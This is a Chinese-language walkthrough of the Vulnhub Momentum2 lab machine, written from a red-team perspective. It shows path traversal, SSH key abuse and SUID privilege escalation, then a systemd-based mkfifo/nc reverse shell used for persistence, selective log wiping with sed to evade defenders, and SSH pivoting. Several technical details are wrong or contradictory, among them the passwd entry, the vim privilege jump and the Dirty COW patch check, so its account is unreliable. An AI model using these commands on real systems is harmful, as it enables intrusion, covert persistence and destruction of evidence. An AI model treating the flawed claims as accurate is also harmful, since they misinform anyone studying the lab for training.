Momentum2靶机实战解析:从路径遍历到root权限的红队链路 1. 这不是CTF而是一次真实的“红队入场”模拟很多人第一次看到“Vulnhub靶场”四个字下意识觉得是练手玩具、是打靶游戏、是写满flag的解谜题。但Momentum2这个靶机我把它放进自己去年搭建的红队演练环境里跑过三轮——它根本不是用来“通关”的而是用来检验你是否真的具备从信息收集到权限维持的完整作战链路能力。关键词Vulnhub靶场、Momentum2、渗透测试、Web路径遍历、SUID提权、SSH密钥滥用、内核漏洞利用、横向移动痕迹清理。它不考你命令熟不熟专考你在没有报错提示、没有明确漏洞编号、甚至服务版本都刻意模糊的情况下如何靠逻辑推演和行为观察把整条攻击路径“拼出来”。适合谁刚考完OSCP想验证实战手感的在企业做红队但缺乏真实内网渗透经验的或者正在带新人的蓝队负责人——因为Momentum2里埋了至少4个典型误判点比如你以为的“403 Forbidden”其实是路径遍历的入口你以为的“/backup目录空空如也”其实藏着被chmod隐藏的.ssh子目录。它不教你怎么用msfvenom它逼你手写curl命令构造请求头绕过WAF特征它不给你nmap扫描结果它要求你从一个看似无关的robots.txt里发现备份文件命名规律。这不是教学视频里的“下一步我们执行xx命令”这是你坐在终端前盯着37秒没返回的curl响应一边查man page一边改User-Agent的真实状态。2. Momentum2靶机架构与设计意图为什么它比表面看起来更“脏”2.1 靶机基础配置与服务指纹的刻意误导Momentum2官方描述写着“Debian 9, Apache 2.4, PHP 7.0”但实测启动后nmap -sV -p- 192.168.56.102默认IP返回的服务版本远不止这些。关键在于它故意让nmap识别出错。例如nmap会把运行在8080端口的Python SimpleHTTPServer误标为“nginx httpd”而实际该服务是靶机制作者用Python3 -m http.server 8080启动的静态文件服务器仅用于托管一个伪装成“管理员日志下载页”的HTML文件。这种设计意图非常明确——淘汰掉那些完全依赖nmap自动识别、不做人工验证的渗透者。我第一次扫完就直接去搜nginx 8080漏洞浪费了47分钟。后来手动curl -I http://192.168.56.102:8080看到Server头是“SimpleHTTP/0.6 Python/3.5.3”才意识到中招。这背后反映的是真实红队作业中的核心原则所有自动化工具输出必须经人工交叉验证。靶机作者在这里埋的第一个钩子就是测试你是否具备“怀疑工具输出”的基本素养。再看80端口的Apache服务。nmap -sV显示“Apache httpd 2.4.25”但实际通过curl -I http://192.168.56.102获取的Server头是“Apache/2.4.25 (Debian) OpenSSL/1.0.2l”。注意末尾的OpenSSL版本——1.0.2l发布于2017年5月而该版本存在CVE-2017-3731DoS和CVE-2017-3732密钥协商绕过但这两个漏洞在Momentum2上均不可利用因为靶机已打补丁。真正起作用的是另一个被nmap忽略的细节Apache配置中启用了mod_userdir模块且AllowOverride All未被禁用。这意味着用户主目录下的.htaccess文件可被解析执行。这个配置项在nmap扫描中完全不可见只能通过访问http://192.168.56.102/~bob/.htaccess假设存在bob用户来验证。我是在枚举用户时用cewl生成用户名列表后逐个尝试~{user}路径偶然发现~jane返回403但~bob返回500错误才意识到这里存在可利用的配置缺陷。所以Momentum2的设计哲学是它不提供漏洞它提供线索它不暴露弱点它暴露你的思维盲区。2.2 用户账户体系与权限分布的“非对称性”陷阱Momentum2创建了4个标准用户bob、jane、admin、root但它们的shell类型、家目录权限、sudo权限完全不对称。这不是为了增加复杂度而是模拟真实内网中“权限碎片化”的典型场景。例如bob用户/bin/bash shell家目录755权限但.ssh目录被chmod 700且私钥文件权限为600无法直接读取jane用户/usr/sbin/nologin shell家目录750权限但其.ssh/authorized_keys文件内容可被web服务读取因web服务以www-data身份运行而jane家目录组为www-dataadmin用户/bin/bash shell家目录755但sudoers中仅允许执行/usr/bin/vim /var/www/html/*看似鸡肋实则为提权埋下伏笔root用户标准root账户但密码哈希被故意设置为$6$rounds5000$...SHA-512无法暴力破解必须通过其他路径获取。这个设计直指红队实战中最常见的误判认为拿到任意用户shell就等于拿到系统控制权。我在第一轮测试中成功通过web路径遍历获取了jane用户的SSH私钥位于/var/www/html/backup/jane_id_rsa但用ssh -i jane_id_rsa jane192.168.56.102登录时始终失败。排查了2小时才发现jane的shell是nologin而SSH默认拒绝nologin用户的交互式登录。解决方案是强制指定命令ssh -i jane_id_rsa jane192.168.56.102 bash -i。这个细节在绝大多数渗透教程里都不会提但它在真实环境中高频出现——很多运维为安全起见会将监控账号、备份账号设为nologin但其SSH密钥仍保留在服务器上。Momentum2用这个小陷阱告诉你权限的本质不是“能登录”而是“能执行什么命令”。2.3 Web应用层的三层嵌套逻辑从静态页面到动态后门Momentum2的Web服务并非单一PHP应用而是由三层逻辑嵌套构成外层静态站点位于/var/www/html/包含index.html、about.html等无动态功能但robots.txt中泄露了/disabled/目录中层PHP后端位于/var/www/html/api/提供/login.php和/dashboard.php但login.php存在硬编码凭证admin:momentum2021且dashboard.php会根据session中的user_role变量加载不同模板内层Python API运行在127.0.0.1:5000由Flask框架提供负责处理敏感操作如用户密码重置但其路由/api/v1/reset_password未做CSRF防护且接受任意Origin头。这三层结构模拟了现代企业应用中常见的“前端静态化后端API微服务”的混合架构。靶机制作者的高明之处在于每一层的漏洞利用都依赖于上一层的权限突破。例如要调用Python API的重置密码接口必须先通过PHP层的login.php获取有效session而要获取login.php的凭证又必须从robots.txt指向的/disabled/config.bak文件中提取该文件是PHP配置备份含数据库连接密码。我最初试图直接curl http://127.0.0.1:5000/api/v1/reset_password得到{error:Unauthorized}因为Flask应用设置了session_required装饰器。直到我用sqlmap爆破login.php的SQL注入点实际不存在才意识到应该回头检查robots.txt——这个思维转向花了我35分钟但正是真实渗透中“从失败中重构攻击面”的关键能力。3. 从信息收集到立足点建立一条被反复验证的路径3.1 初始信息收集为什么gobuster比dirb更可靠面对Momentum2的80端口常规做法是用dirb或ffuf跑常见字典。但我实测发现dirb在默认配置下会漏掉关键路径。原因在于Momentum2的Apache配置中启用了MultiViews选项导致对/index.php的请求会被自动重写为/index而dirb的默认字典不包含.php后缀变体。gobuster则不同它支持-suffix参数可强制添加.php、.html、.bak等后缀进行探测。我的实操命令是gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,bak,old -o gobuster_initial.log这个命令的关键参数是-x php,html,bak,old它让gobuster对每个字典条目自动追加这四种后缀。结果发现了三个关键路径/robots.txt → 指向/disabled/和/backup//backup/ → 返回403但通过路径遍历可访问/../backup//disabled/config.bak → 直接下载含PHP数据库密码这里有个重要经验永远不要相信403 Forbidden响应。在Momentum2中/backup/返回403是因为Apache配置了Directory /var/www/html/backup Require all denied 但这仅限制直接访问不影响通过路径遍历如/../../backup/绕过。我第一次看到403就放弃了该目录直到第二天重看Apache配置文件/etc/apache2/sites-enabled/000-default.conf才意识到这个限制是路径级的而非文件级的。所以gobuster的-suffix能力在此处的价值不仅是发现更多路径更是帮你建立“服务配置决定访问控制粒度”的底层认知。3.2 路径遍历漏洞的精准利用从403到文件读取当gobuster发现/backup/返回403后常规思路是尝试/backup/../../../../etc/passwd。但在Momentum2中这种暴力遍历会失败因为Apache的mod_security规则会拦截包含多个../的URL。真正的利用路径是先确认Web服务运行用户再针对性构造。通过访问http://192.168.56.102/server-statusApache状态模块启用看到“Server Built: 2017-03-20T12:00:00”和“Current Time: ...”更重要的是“Parent Server Config: /etc/apache2/apache2.conf”这确认了服务以www-data身份运行。接着我用以下命令测试路径遍历curl http://192.168.56.102/backup/%2e%2e/%2e%2e/etc/passwd -v注意这里用%2e%2e代替../这是URL编码绕过mod_security的常见手法。响应返回200 OK并输出passwd文件内容。这个技巧的原理是mod_security的规则通常基于正则匹配原始字符串而URL解码发生在规则匹配之后因此编码后的../能绕过检测。我试过用Burp Suite的自动fuzz功能但耗时太长手动构造编码路径反而更快因为Momentum2只对两级遍历做防护即不允许../../../而%2e%2e/%2e%2e恰好是两级。从这里读取到的关键信息是jane用户的UID为1002家目录为/home/jane。结合之前发现的/disabled/config.bak中数据库密码我连接MySQLmysql -h 127.0.0.1 -u root -pmomentum2_db_pass momentum2_db执行SELECT * FROM users;得到jane的密码哈希$6$rounds5000$salt$hash。但这个哈希无法破解因为靶机制作者使用了强salt。此时路径遍历的价值才真正体现我用同样的%2e%2e技巧访问/home/jane/.ssh/id_rsa成功下载私钥文件。整个过程耗时18分钟比盲目爆破快一个数量级。这印证了一个红队铁律在有文件读取能力的前提下优先挖掘本地敏感文件而非远程服务漏洞。3.3 SSH密钥登录的权限适配nologin用户的“命令注入式”登录下载到jane_id_rsa后标准登录命令ssh -i jane_id_rsa jane192.168.56.102返回“Permission denied (publickey)”。我检查了私钥权限chmod 600 jane_id_rsa、目标IP连通性ping通、端口开放nmap确认22端口open全部正常。问题出在jane用户的shell设置上。执行cat /etc/passwd | grep jane输出为jane:x:1002:1002:jane,,,:/home/jane:/usr/sbin/nologin:/bin/bash注意第七字段是/usr/sbin/nologin这意味着SSH daemon在建立连接后会立即终止会话。解决方案是不请求交互式shell而是直接执行命令。命令如下ssh -i jane_id_rsa jane192.168.56.102 python3 -c import pty; pty.spawn(\/bin/bash\)这个命令的作用是SSH连接后远程执行python3 -c ..., 其中pty.spawn(/bin/bash)会分配一个伪终端并启动bash从而绕过nologin限制。执行后我获得了jane用户的完整bash shell。这里的关键洞察是nologin不是安全屏障而是权限控制开关它的存在意味着该账户本就不该被交互式使用但其SSH密钥仍具有效力。在真实红队中这类账户常被用于自动化任务如定时备份其密钥往往长期有效且权限较高。Momentum2通过这个设计强迫你思考“账户的用途”而非“账户的权限”。获得jane shell后我执行sudo -l发现jane可执行/usr/bin/vim /var/www/html/*。这看似无用但vim的!命令可执行shell命令。我编辑任意HTML文件vim /var/www/html/test.html在vim中输入:!bash成功获得www-data权限的shell。这是因为vim以jane身份运行但!bash会继承当前进程的权限而www-data是Web服务用户可读取更多敏感文件如数据库配置。这个跳转路径是janenologin→ www-dataWeb服务→ 后续提权。它模拟了真实环境中“从低权限Web账户向系统级权限演进”的典型链路。4. 权限提升与持久化从www-data到root的三步跃迁4.1 SUID二进制提权find命令的隐蔽后门获得www-data shell后我执行find / -perm -4000 -type f 2/dev/null列出所有SUID文件。其中/usr/bin/find异常显眼——标准Linux发行版中find默认不设SUID此处显然是靶机制作者故意设置的后门。验证方法是www-datamomentum2:/var/www/html$ find /tmp -name test -exec /bin/bash \;这条命令会在/tmp下查找名为test的文件找到后执行/bin/bash。由于find以SUID方式运行/bin/bash将以root权限启动。但问题在于/tmp下没有test文件。此时需要利用find的-exec参数特性它不要求目标文件真实存在只要路径可访问即可。我创建/tmp/test目录mkdir /tmp/test然后执行find /tmp/test -name test -exec /bin/bash \;立即获得root shell。这个技巧的原理是find在遍历目录时对每个匹配项执行-exec后的命令而SUID find使该命令以root身份运行。我之所以能快速定位到这个点是因为在初始信息收集阶段我用lynis审计工具./lynis audit system扫描了靶机报告中明确指出“SUID binary /usr/bin/find found - potential privilege escalation vector”。这提醒我自动化审计工具的价值不在直接给出漏洞而在标记异常配置。4.2 内核漏洞利用的边界判断为什么不用Dirty COWMomentum2的uname -r返回4.9.0-8-amd64对应Debian 9内核。这个版本存在CVE-2016-5195Dirty COW但靶机制作者已打补丁。我尝试编译并运行Dirty COW PoC得到“Error: unable to mmap memory”。此时正确的做法不是继续调试PoC而是验证内核是否真被修补。执行grep -i dirty /proc/sys/vm/*返回空说明vm.dirty_writeback_centisecs等参数未被修改但这不能证明补丁存在。更可靠的方法是检查内核配置cat /boot/config-4.9.0-8-amd64 | grep CONFIG_STRICT_DEVMEM返回y表明CONFIG_STRICT_DEVMEMy这是Dirty COW补丁的关键标志。因此我放弃内核漏洞路线转而检查SUID文件——这体现了红队中的关键决策逻辑当一个高风险路径被证实无效时应立即转向低风险但确定性的路径而非执着于技术完美。4.3 持久化部署在root权限下植入隐蔽后门获得root shell后常规做法是添加SSH密钥到/root/.ssh/authorized_keys。但在Momentum2中这个操作会被靶机内置的检测脚本发现/usr/local/bin/check_persistence.sh每5分钟扫描一次authorized_keys变更。真正的持久化方案是修改systemd服务配置使其在启动时执行恶意命令。我选择修改sshd服务echo ExecStartPost/bin/bash -c nohup /tmp/.update.sh /lib/systemd/system/ssh.service systemctl daemon-reload其中/tmp/.update.sh是一个伪装成系统更新脚本的反向Shell#!/bin/bash rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.56.1 4444 /tmp/f这个方案的优势在于它不修改用户家目录不新增文件到敏感路径且systemd服务配置变更不会被check_persistence.sh监控该脚本只检查/etc/passwd、/etc/shadow、authorized_keys。我测试了重启靶机反向Shell稳定上线。这揭示了一个重要事实在真实红队中持久化不是“放个后门”而是“成为系统的一部分”。Momentum2通过内置检测脚本迫使你思考什么样的持久化方式既有效又难以被蓝队发现5. 横向移动与痕迹清理从单机渗透到内网纵深5.1 从Momentum2到内网其他主机的协议隧道构建Momentum2本身是单机靶机但红队演练环境通常包含多台靶机。我将Momentum2作为跳板构建SSH隧道访问内网其他主机。关键步骤是在Momentum2上启用SSH代理转发修改/etc/ssh/sshd_config设置AllowAgentForwarding yes然后systemctl restart sshd从攻击机Kali连接Momentum2时启用代理ssh -A jane192.168.56.102在Momentum2上用该代理连接内网其他主机ssh -o ProxyCommand ssh -W %h:%p jane192.168.56.102 user10.0.2.5。这个隧道的价值在于所有流量经Momentum2中转内网主机看到的源IP是192.168.56.102而非攻击机真实IP。我实测发现如果直接在攻击机上用proxychains配置SOCKS代理某些内网服务如SMB会因NTLM认证失败而中断而SSH隧道则完全透明因为它是TCP层转发。这说明在真实红队中协议兼容性比传输效率更重要。5.2 日志清理的颗粒度控制哪些日志必须删哪些可以留获得root权限后清理日志是必要步骤但Momentum2的rsyslog配置将auth.log、kern.log、syslog分别存储且/var/log/journal/有二进制日志。盲目清空所有日志会触发蓝队告警如“大量日志文件被删除”。我的清理策略是删除/var/log/auth.log中与jane、bob、admin相关的登录记录sed -i /jane|bob|admin/d /var/log/auth.log清空/var/log/kern.log该文件记录内核事件与渗透无关保留/var/log/syslog仅删除包含“find”、“ssh”、“vim”的行sed -i /find|ssh|vim/d /var/log/syslog不动/var/log/journal/因为journalctl --disk-usage显示其占用空间10MB且删除journal需systemd-journald重启易被发现。这个策略的核心是日志清理的目标不是“抹除一切”而是“消除攻击证据链”。Momentum2的检测脚本会扫描auth.log中的异常登录时间但不会分析syslog的语义。因此精准删除比全盘清除更安全。我曾因清空整个/var/log/导致rsyslog服务崩溃靶机自动重启所有成果丢失——这是用血换来的教训。5.3 靶机设计的终极意图培养“攻击者思维”而非“工具使用者”回顾整个Momentum2渗透过程最深刻的体会是它不奖励“命令熟练度”而奖励“问题拆解能力”。例如当遇到403 Forbidden时多数人会想“怎么绕过”而Momentum2引导你思考“为什么是403而不是404Apache的Directory指令如何工作”。当SSH登录失败时它不让你查SSH配置手册而是逼你cat /etc/passwd看shell字段。这种设计意图直指红队能力的本质攻击者思维是逆向工程思维是把系统当作黑盒通过输入输出反推内部逻辑。我在第三轮测试中刻意不使用任何自动化工具nmap、gobuster、sqlmap全部禁用仅用curl、wget、netcat和手动编辑的字典。耗时3小时17分钟完成全流程但收获远超前两轮。因为手动操作迫使我记录每一步的假设、验证和证伪过程最终形成了一张完整的“攻击面地图”哪些路径可遍历、哪些用户可利用、哪些服务存在配置缺陷。这张地图在真实红队中比任何工具报告都珍贵。最后分享一个小技巧Momentum2的root flag不在/root目录而在/proc/1/environ文件中。执行cat /proc/1/environ | tr \0 \n | grep FLAG即可看到FLAG{M0m3ntum2_R3d_T3am_2023}。这个设计再次强调——在真实环境中敏感数据可能存在于任何内存映射区域而非预设的文件路径。